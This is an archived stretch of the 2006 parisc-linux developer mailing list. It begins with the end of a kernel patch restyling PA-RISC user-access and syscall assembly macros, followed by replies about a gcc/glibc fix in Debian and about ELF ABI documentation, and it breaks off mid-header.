+	"1:	" stx "		%2, 0(%1)\n"		\
+	"	.section __ex_table,\"aw\"\n"		\
+	"	.dword	1b, fixup_put_user_skip_1\n"	\
+	"	.previous"				\
+		: "=r"(__pu_err)			\
+		: "r"(ptr), "r"(x), "0"(__pu_err)	\
+		: "r1"					\
+	)
+
+#define __put_user_asm(stx, x, ptr)			\
+	__asm__ __volatile__ ("\n"			\
+	"1:	" stx "		%2, 0(%%sr3, %1)\n"	\
+	"	.section __ex_table,\"aw\"\n"		\
+	"	.dword	1b, fixup_put_user_skip_1\n"    \
+	"	.previous"				\
+		: "=r"(__pu_err)			\
+		: "r"(ptr), "r"(x), "0"(__pu_err)	\
+		: "r1"					\
+	)
 #else
-#define __put_kernel_asm(stx,x,ptr)                         \
-	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"\t.section __ex_table,\"aw\"\n"            \
-		 "\t.word\t1b,fixup_put_user_skip_1\n"	    \
-		 "\t.previous"                              \
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
-		: "r1")
-
-#define __put_user_asm(stx,x,ptr)                           \
-	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"\t.section __ex_table,\"aw\"\n"            \
-		 "\t.word\t1b,fixup_put_user_skip_1\n"      \
-		 "\t.previous"                              \
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
-		: "r1")
-
-#define __put_kernel_asm64(__val,ptr) do {		    	    \
-	u64 __val64 = (u64)(__val);				    \
-	u32 hi = (__val64) >> 32;					    \
-	u32 lo = (__val64) & 0xffffffff;				    \
-	__asm__ __volatile__ (				    \
-		"\n1:\tstw %2,0(%1)\n"			    \
-		"\n2:\tstw %3,4(%1)\n"			    \
-		"\t.section __ex_table,\"aw\"\n"	    \
-		 "\t.word\t1b,fixup_put_user_skip_2\n"	    \
-		 "\t.word\t2b,fixup_put_user_skip_1\n"	    \
-		 "\t.previous"				    \
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
-		: "r1");				    \
+#define __put_kernel_asm(stx, x, ptr)			\
+	__asm__ __volatile__ ("\n"			\
+	"1:	" stx "		%2, 0(%1)\n"		\
+	"	.section __ex_table,\"aw\"\n"		\
+	"	.word	1b, fixup_put_user_skip_1\n"	\
+	"	.previous"				\
+		: "=r"(__pu_err)			\
+		: "r"(ptr), "r"(x), "0"(__pu_err)	\
+		: "r1"					\
+	)
+
+#define __put_user_asm(stx, x, ptr)			\
+	__asm__ __volatile__ ("\n"			\
+	"1:	" stx "		%2, 0(%%sr3, %1)\n"	\
+	"	.section __ex_table,\"aw\"\n"		\
+	"	.word	1b, fixup_put_user_skip_1\n"	\
+	"	.previous"				\
+		: "=r"(__pu_err)			\
+		: "r"(ptr), "r"(x), "0"(__pu_err)	\
+		: "r1"					\
+	)
+
+#define __put_kernel_asm64(__val, ptr) do {			\
+	u64 __val64 = (u64)(__val);				\
+	u32 hi = (__val64) >> 32;				\
+	u32 lo = (__val64) & 0xffffffff;			\
+	__asm__ __volatile__ ("\n"				\
+	"1:	stw		%2, 0(%1)\n"			\
+	"2:	stw		%3, 4(%1)\n"			\
+	"	.section __ex_table,\"aw\"\n"			\
+	"	.word	1b, fixup_put_user_skip_2\n"		\
+	"	.word	2b, fixup_put_user_skip_1\n"		\
+	"	.previous"					\
+		: "=r"(__pu_err)				\
+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err)	\
+		: "r1"						\
+	);							\
 } while (0)
 
-#define __put_user_asm64(__val,ptr) do {		    	    \
-	u64 __val64 = (u64)__val;				    \
-	u32 hi = (__val64) >> 32;					    \
-	u32 lo = (__val64) & 0xffffffff;				    \
-	__asm__ __volatile__ (				    \
-		"\n1:\tstw %2,0(%%sr3,%1)\n"		    \
-		"\n2:\tstw %3,4(%%sr3,%1)\n"		    \
-		"\t.section __ex_table,\"aw\"\n"	    \
-		 "\t.word\t1b,fixup_get_user_skip_2\n"	    \
-		 "\t.word\t2b,fixup_get_user_skip_1\n"	    \
-		 "\t.previous"				    \
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
-		: "r1");				    \
+#define __put_user_asm64(__val, ptr) do {			\
+	u64 __val64 = (u64)__val;				\
+	u32 hi = (__val64) >> 32;				\
+	u32 lo = (__val64) & 0xffffffff;			\
+	__asm__ __volatile__ ("\n"				\
+	"1:	stw		%2, 0(%%sr3, %1)\n"		\
+	"2:	stw		%3, 4(%%sr3, %1)\n"		\
+	"	.section __ex_table,\"aw\"\n"			\
+	"	.word	1b, fixup_get_user_skip_2\n"		\
+	"	.word	2b, fixup_get_user_skip_1\n"		\
+	"	.previous"					\
+		: "=r"(__pu_err)				\
+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err)	\
+		: "r1"						\
+	);							\
 } while (0)
 
 #endif /* !__LP64__ */
@@ -256,7 +288,8 @@
 
 extern unsigned long lcopy_to_user(void __user *, const void *, unsigned long);
 extern unsigned long lcopy_from_user(void *, const void __user *, unsigned long);
-extern unsigned long lcopy_in_user(void __user *, const void __user *, unsigned long);
+extern unsigned long lcopy_in_user(void __user *, const void __user *,
+					unsigned long);
 extern long lstrncpy_from_user(char *, const char __user *, long);
 extern unsigned lclear_user(void __user *,unsigned long);
 extern long lstrnlen_user(const char __user *,long);
@@ -265,19 +298,24 @@
  * Complex access routines -- macros
  */
 
-#define strncpy_from_user lstrncpy_from_user
-#define strnlen_user lstrnlen_user
-#define strlen_user(str) lstrnlen_user(str, 0x7fffffffL)
-#define clear_user lclear_user
-#define __clear_user lclear_user
-
-unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len);
-#define __copy_to_user copy_to_user
-unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len);
-#define __copy_from_user copy_from_user
-unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len);
-#define __copy_in_user copy_in_user
-#define __copy_to_user_inatomic __copy_to_user
-#define __copy_from_user_inatomic __copy_from_user
+#define strncpy_from_user	lstrncpy_from_user
+#define strnlen_user		lstrnlen_user
+#define strlen_user(str)	lstrnlen_user(str, 0x7fffffffL)
+#define clear_user		lclear_user
+#define __clear_user		lclear_user
+
+unsigned long copy_to_user(void __user *dst, const void *src,
+				unsigned long len);
+#define __copy_to_user	copy_to_user
+
+unsigned long copy_from_user(void *dst, const void __user *src,
+				unsigned long len);
+#define __copy_from_user 	copy_from_user
+
+unsigned long copy_in_user(void __user *dst, const void __user *src,
+				unsigned long len);
+#define __copy_in_user			copy_in_user
+#define __copy_to_user_inatomic		__copy_to_user
+#define __copy_from_user_inatomic	__copy_from_user
 
 #endif /* __PARISC_UACCESS_H */
--- ./include/asm-parisc/unistd.h.Orig	2006-04-10 18:29:13.000000000 +0200
+++ ./include/asm-parisc/unistd.h	2006-04-10 18:43:57.000000000 +0200
@@ -805,12 +805,12 @@
 
 #ifdef PIC
 /* WARNING: CANNOT BE USED IN A NOP! */
-# define K_STW_ASM_PIC	"       copy %%r19, %%r4\n"
-# define K_LDW_ASM_PIC	"       copy %%r4, %%r19\n"
+# define K_STW_ASM_PIC	"	copy %%r19, %%r4\n"
+# define K_LDW_ASM_PIC	"	copy %%r4, %%r19\n"
 # define K_USING_GR4	"%r4",
 #else
-# define K_STW_ASM_PIC	" \n"
-# define K_LDW_ASM_PIC	" \n"
+# define K_STW_ASM_PIC	"\n"
+# define K_LDW_ASM_PIC	"\n"
 # define K_USING_GR4
 #endif
 
@@ -835,43 +835,43 @@
 		register unsigned long __res __asm__("r28");		\
 		K_LOAD_ARGS_##nr(args)					\
 		/* FIXME: HACK stw/ldw r19 around syscall */		\
-		__asm__ volatile(					\
+		__asm__ __volatile__ ("\n"				\
 			K_STW_ASM_PIC					\
-			"	ble  0x100(%%sr2, %%r0)\n"		\
-			"	ldi %1, %%r20\n"			\
+		"	ble		0x100(%%sr2, %%r0)\n"		\
+		"	ldi		%1, %%r20\n"			\
 			K_LDW_ASM_PIC					\
 			: "=r" (__res)					\
-			: "i" (SYS_ify(name)) K_ASM_ARGS_##nr   	\
+			: "i" (SYS_ify(name)) K_ASM_ARGS_##nr		\
 			: "memory", K_CALL_CLOB_REGS K_CLOB_ARGS_##nr	\
 		);							\
 		__sys_res = (long)__res;				\
 	}								\
-	if ( (unsigned long)__sys_res >= (unsigned long)-4095 ){	\
-		errno = -__sys_res;		        		\
+	if ( (unsigned long)__sys_res >= (unsigned long)-4095 ) {	\
+		errno = -__sys_res;					\
 		__sys_res = -1;						\
 	}								\
 	__sys_res;							\
 })
 
 #define K_LOAD_ARGS_0()
-#define K_LOAD_ARGS_1(r26)					\
-	register unsigned long __r26 __asm__("r26") = (unsigned long)(r26);   \
+#define K_LOAD_ARGS_1(r26)							\
+	register unsigned long __r26 __asm__("r26") = (unsigned long)(r26);	\
 	K_LOAD_ARGS_0()
-#define K_LOAD_ARGS_2(r26,r25)					\
-	register unsigned long __r25 __asm__("r25") = (unsigned long)(r25);   \
+#define K_LOAD_ARGS_2(r26, r25)							\
+	register unsigned long __r25 __asm__("r25") = (unsigned long)(r25);	\
 	K_LOAD_ARGS_1(r26)
-#define K_LOAD_ARGS_3(r26,r25,r24)				\
-	register unsigned long __r24 __asm__("r24") = (unsigned long)(r24);   \
-	K_LOAD_ARGS_2(r26,r25)
-#define K_LOAD_ARGS_4(r26,r25,r24,r23)				\
-	register unsigned long __r23 __asm__("r23") = (unsigned long)(r23);   \
-	K_LOAD_ARGS_3(r26,r25,r24)
-#define K_LOAD_ARGS_5(r26,r25,r24,r23,r22)			\
-	register unsigned long __r22 __asm__("r22") = (unsigned long)(r22);   \
-	K_LOAD_ARGS_4(r26,r25,r24,r23)
-#define K_LOAD_ARGS_6(r26,r25,r24,r23,r22,r21)			\
-	register unsigned long __r21 __asm__("r21") = (unsigned long)(r21);   \
-	K_LOAD_ARGS_5(r26,r25,r24,r23,r22)
+#define K_LOAD_ARGS_3(r26, r25, r24)						\
+	register unsigned long __r24 __asm__("r24") = (unsigned long)(r24);	\
+	K_LOAD_ARGS_2(r26, r25)
+#define K_LOAD_ARGS_4(r26, r25, r24, r23)					\
+	register unsigned long __r23 __asm__("r23") = (unsigned long)(r23);	\
+	K_LOAD_ARGS_3(r26, r25, r24)
+#define K_LOAD_ARGS_5(r26, r25, r24, r23, r22)					\
+	register unsigned long __r22 __asm__("r22") = (unsigned long)(r22);	\
+	K_LOAD_ARGS_4(r26, r25, r24, r23)
+#define K_LOAD_ARGS_6(r26, r25, r24, r23, r22, r21)				\
+	register unsigned long __r21 __asm__("r21") = (unsigned long)(r21);	\
+	K_LOAD_ARGS_5(r26, r25, r24, r23, r22)
 
 /* Even with zero args we use r20 for the syscall number */
 #define K_ASM_ARGS_0

--------------060503000105010703060408
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------060503000105010703060408--



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Mon, 17 Apr 2006 15:03:07 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <4443AE2B.4050103@tiscali.be>
References: <200603261906.k2QJ673c007796@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624055 18955 80.91.229.3 (22 Nov 2014 02:40:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:55 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Apr 2006 15:03:26 -0000
Original-Received: from xizor.is.scarlet.be (EHLO xizor.is.scarlet.be) [193.74.71.21]
  by mx0.gmx.net (mx082) with SMTP; 17 Apr 2006 17:03:26 +0200
Original-Received: from (ip-62-235-220-156.dial.scarlet.be [62.235.220.156]) 
	by xizor.is.scarlet.be  with ESMTP id k3HF3IK06129; 
	Mon, 17 Apr 2006 17:03:18 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <200603261906.k2QJ673c007796@hiauly1.hia.nrc.ca>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DpxlbLPVLi5n8ffRZWtpZGZjZml1ZFiB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23578



John David Anglin wrote:
>>>I'm running libc6-2.3.6-4 and see some strange crashes. Might it be related, or does  2.3.6-4 doesn't includes your fix ?
> 
> 
> 2.3.6-4 should have the glibc fix...
> 
> 
>>Do you know in which gcc-4.0 dpkg release the jda patch 
>>(<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-March/028548.html>) was in?
>>I can so check in buildd with which compiler this new glibc-2.3.6-4 was build ;-)
> 
> 
> As far as GCC goes, the fix is now in all 4.x branches but not in 3.4.
> I'm not sure about the debian status.  I believe that Matthias integrated
> the change but there was a regression due to a missing glibc patch
> needed to prevent a SIGSEGV in the unwind code.  Matthias said this
> problem was fixed on March 20.
Sorry for delay but I come back to you with this stuff because I finaly take some time today to make some free space to check:
	* this patch is included into gcc-snapshot dpkg (namely ref to 2006 03 25 ;-) )
	* but neither gcc-4.0 nor gcc-4.1 dpkg contained this patch ;-(
	  (should I ask to Matthias, aka doko, lol?)

Thanks,
	Joel



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ELF ABI Documents
Date: Mon, 17 Apr 2006 21:46:54 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <1145324814.24150.12.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1768188592=="
X-Trace: ger.gmane.org 1416624056 18957 80.91.229.3 (22 Nov 2014 02:40:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 01:47:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 18 Apr 2006 03:47:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D70CC7D667;
	Mon, 17 Apr 2006 19:47:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09314-06; Mon, 17 Apr 2006 19:47:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73B077D669;
	Mon, 17 Apr 2006 19:47:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C04A27D666
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 19:47:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09101-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 19:47:33 -0600 (MDT)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id EB6DD7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 19:47:32 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MH-MR001.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0IXW008CXAB7P490@VL-MH-MR001.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 17 Apr 2006 21:47:32 -0400 (EDT)
X-Mailer: Evolution 2.6.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fHJxcO81TiEtoqyUaGRwenF1ZUVSRBfS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23579


--===============1768188592==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-3wVWQ1HVH6KzbojI0Wfw"


--=-3wVWQ1HVH6KzbojI0Wfw
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I'm on a bit of a quest for accurate documentation.

This started when I was starting to hack klibc and had to go digging for
a bunch of information in a pile of different documents.  What I'd like
to do is write the LSB document for parisc so that there's a single
accurate place to refer to for calling conventions / syscall
information, etc.

It's most common in the LSB specs to refer to the ELF psabi document
where possible.  http://refspecs.freestandards.org/elf/elf-pa.pdf seems
to be a copy of the psabi document, but when checking with some folks,
it looks like the document isn't a reflection on reality for
parisc-linux.  The question is, should the document be updated to
reflect reality, should we slowly change to match the document, or
should I just not refer to the psabi document much when writing the LSB
document?

Tks,
Jeff Bailey

--=20
Although when you're in the situation that RMS is telling you that
you're being too ideological about freedom, maybe, just maybe, it's
true.
- Matthew Wilcox

--=-3wVWQ1HVH6KzbojI0Wfw
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQBEREUO5M5hmdCYCpkRAr/dAKCpb2wLxKPF1W8SC9VElqsJ9IBqDQCfSb5N
ZcVhMYsaFd+EccRo9xvu6hQ=
=NleH
-----END PGP SIGNATURE-----

--=-3wVWQ1HVH6KzbojI0Wfw--


--===============1768188592==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1768188592==--



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF ABI Documents
Date: Tue, 18 Apr 2006 11:00:24 +0800
Lines: 39
Approved: news@gmane.org
Message-ID: <44445648.5050004@tausq.org>
References: <1145324814.24150.12.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624056 18960 80.91.229.3 (22 Nov 2014 02:40:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 03:00:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 18 Apr 2006 05:00:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 542FB7D675;
	Mon, 17 Apr 2006 21:00:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09757-09; Mon, 17 Apr 2006 21:00:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2C3F7D676;
	Mon, 17 Apr 2006 21:00:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76FBA7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 21:00:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09757-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 21:00:29 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 760D57D671
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 21:00:29 -0600 (MDT)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FVgRw-00088u-Do; Tue, 18 Apr 2006 11:00:20 +0800
User-Agent: Thunderbird 1.5 (Windows/20051201)
In-Reply-To: <1145324814.24150.12.camel@localhost.localdomain>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NjsmELxRbXBtrLqHPTQ2ODYqLyUmZUgo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23580

> It's most common in the LSB specs to refer to the ELF psabi document
> where possible.  http://refspecs.freestandards.org/elf/elf-pa.pdf seems
> to be a copy of the psabi document, but when checking with some folks,
> it looks like the document isn't a reflection on reality for
> parisc-linux.  The question is, should the document be updated to
> reflect reality, should we slowly change to match the document, or
> should I just not refer to the psabi document much when writing the LSB
> document?

First of all, I want to say that such a document would be wonderful to have!

I think the ELF-PA document corresponds mostly with what we do on
parisc-linux. There are some things we don't implement (e.g. I don't
think we have PCREL14WR/PCREL14DR), and we have made some enhancements
in other areas (e.g. TLS relocations). The only thing that I know of
where we don't follow the spec is how we handle SEGREL32 - we don't use
a SEGBASE relocation to set the segment base, but rely on other
information from the ELF headers.

I don't think the ELF spec talks about calling conventions and syscall
conventions though. For that, parisc-linux mostly follows the SOM spec
for calling conventions
(http://ftp.parisc-linux.org/docs/arch/pa-runtime-32-SOM.pdf)

A document about hppa ABI will not be complete without some discussion
about the hppa unwinding mechanism too.

my 2 cents :)
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF ABI Documents
Date: Mon, 17 Apr 2006 23:11:23 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <1145329883.24150.17.camel@localhost.localdomain>
References: <1145324814.24150.12.camel@localhost.localdomain>
	<44445648.5050004@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0705205181=="
X-Trace: ger.gmane.org 1416624056 18962 80.91.229.3 (22 Nov 2014 02:40:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Apr 2006 03:12:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 18 Apr 2006 05:12:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B6E47D699;
	Mon, 17 Apr 2006 21:12:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10123-07; Mon, 17 Apr 2006 21:12:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B9F37D682;
	Mon, 17 Apr 2006 21:12:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 527087D675
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 21:12:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10003-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 21:12:03 -0600 (MDT)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id 7ECE17D672
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Apr 2006 21:12:03 -0600 (MDT)
